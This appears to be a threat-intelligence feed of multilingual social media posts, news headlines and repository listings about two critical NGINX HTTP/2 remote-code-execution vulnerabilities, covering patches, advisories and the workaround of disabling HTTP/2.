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social bsky.app @montaelkins.bsky.social 2026-11-19 12:24 UTCToday is a good day to test your offline backups www.wiz.io/blog/nginx-h...Open source
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news socprime.com 2026-11-19 12:11 UTCCVE-2026-123633: Critical NGINX HTTP/2 Use-After-Free Flaw Enables RCE - SOC PrimeOpen source
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social bsky.app @hatena-bookmark.bsky.social 2026-11-19 12:05 UTC#🔖テクノロジー NGINXの複数の脆弱性対策について(CVE-2026-123007、CVE-2026-123633等) | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構 トップページ 情報セキュリティ 重要なセキュリティ情報 2026年度 NGINXの複数の脆弱性対策について(CVE-2026-123007、CVE-2026-123633等) 注釈:追記すべき情報がある場合には、その都度このページを更新する予定です。 概要 F5社が提供するNGINX O…Open source
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social bsky.app @cffnaddict.bsky.social 2026-11-19 11:57 UTCNGINX脆弱性への対応行いました。 手元でイメージ作って検証して、本番にデプロイという流れで行いました。 →現状確認・影響調査 →作業方針策定 →作業計画作成 →実行 という流れでClaude Codeで進めました。 途中でイメージのビルド失敗や起動失敗などありましたが、勝手に調べて解決してくれるのはやはり強いです。 従来であれば作業開始から完了まで数時間はかかるところ、15分程度終わってしまうので本当にありがたいものです。 今夜23時以降はPHPの更新が待っていますが、…Open source
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social bsky.app @oversecurity.net.web.brid.gy 2026-11-19 11:47 UTCOpen source
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social bsky.app @otonashix.bsky.social 2026-11-19 11:40 UTCnginx2root の HTTP/2 脆弱性2件を AWS 構成ごとに整理してみた | DevelopersIO | NGINX の HTTP/2 の脆弱性 CVE-2026-123007・CVE-2026-123633 の仕組みと AWS 構成ごとの影響を整理し、修正版を使えない環境の緩和策として、http2 off で curl --http2 の接続が HTTP/1.1 になることを Docker で確認しました。 | dev.classmethod.jp/arti…Open source
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social bsky.app @soisoiro.bsky.social 2026-11-19 11:39 UTCdev.classmethod.jp/articles/ngi...Open source
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social bsky.app @hendryadrian.bsky.social 2026-11-19 11:36 UTCResearchers disclosed two critical NGINX HTTP/2 flaws, CVE-2026-123633 and CVE-2026-123007, that can enable unauthenticated remote code execution. F5 released fixes; disable HTTP/2 temporarily if upgrades are delayed.Open source
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social mastodon.social @117631325196270749 2026-11-19 11:31 UTCF5's emergency NGINX release fixes ten bugs, two of them critical-rated HTTP/2 flaws, CVE-2026-123007 and CVE-2026-123633. One is in every release since 1.9.5 in 2015. We cover which builds are exposed, why package version numbers can misl…Open source
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social news.ycombinator.com downsplat 2026-11-19 11:12 UTCUnauthenticated remote code execution in NginxOpen source
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social bsky.app @tech-trending.bsky.social 2026-11-19 11:05 UTCNGINXの複数の脆弱性対策について(CVE-2026-123007、CVE-2026-123633等) | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構 https://www.ipa.go.jp/security/security-alert/2026/alert20261119.htmlOpen source
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social bsky.app @patchwire.bsky.social 2026-11-19 10:51 UTC🔴 CRITICAL NGINX HTTP/2 flaws allow unauthenticated remote code execution (CVE-2026-123633, -123007) #F5Open source
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social bsky.app @feilong76.bsky.social 2026-11-19 10:48 UTC“NGINXの脆弱性 CVE-2026-123633、CVE-2026-123007についてまとめてみた - piyolog” htn.to/djMpBeTUz6Open source
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social bsky.app @cyberveille-ch.bsky.social 2026-11-19 10:30 UTC📢 [VULN] NGINX2Root : deux failles critiques permettent de prendre le contrôle d’un serveur NGINX - CVE-2026-123007, CVE-2026-123633 F5 a corrigé le 18 novembre deux erreurs de gestion mémoire dans le module HTTP/2 de NGINX et NGINX Plus,…Open source
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social mastobot.ping.moi @cyberveille 2026-11-19 10:30 UTC📢 [VULN] NGINX2Root : deux failles critiques permettent de prendre le contrôle d’un serveur NGINX - CVE-2026-123007, CVE-2026-123633 F5 a corrigé le 18 novembre deux erreurs de gestion mémoire dans le module HTTP/2 de NGINX et NGINX Plus,…Open source
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code github.com githubcdr 2026-11-19 10:12 UTCgithubcdr/nginx-ingress-controllerOpen source
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news securityboulevard.com 2026-11-19 10:09 UTCCritical NGINX HTTP/2 Vulnerabilities (CVE-2026-123633 and CVE-2026-123007): What Imperva Customers Need to Know - Security BoulevardOpen source
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code github.com 0xsaju 2026-11-19 10:04 UTC0xsaju/nginx-exploitsOpen source
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social infosec.exchange @117614869587321791 2026-11-19 10:02 UTCNGINX2Root: five critical unauthenticated memory-corruption RCEs in NGINX (HTTP/2, proxying, resolver, mail-proxy), fixed 18 Nov. Public PoC; a separate unpatched Linux kernel LPE chains worker code exec to root. CVE-2026-123007 (HTTP/2 in…Open source
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social bsky.app @crawler.baldanders.info 2026-11-19 09:40 UTC> NGINXの複数の脆弱性対策について(CVE-2026-123007、CVE-2026-123633等) https://www.ipa.go.jp/security/security-alert/2026/alert20261119.htmlOpen source
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social bsky.app @cyberveille-ch.bsky.social 2026-11-19 09:30 UTC📢 [VULN] NGINX2Root : deux failles critiques permettent de prendre le contrôle d’un serveur NGINX - CVE-2026-123007, CVE-2026-123633 F5 a corrigé le 18 novembre deux erreurs de gestion mémoire dans le module HTTP/2 de NGINX et NGINX Plus,…Open source
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social mastobot.ping.moi @cyberveille 2026-11-19 09:30 UTC📢 [VULN] NGINX2Root : deux failles critiques permettent de prendre le contrôle d’un serveur NGINX - CVE-2026-123007, CVE-2026-123633 F5 a corrigé le 18 novembre deux erreurs de gestion mémoire dans le module HTTP/2 de NGINX et NGINX Plus,…Open source
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social bsky.app @mariushosting.com.web.brid.gy 2026-11-19 09:26 UTCOpen source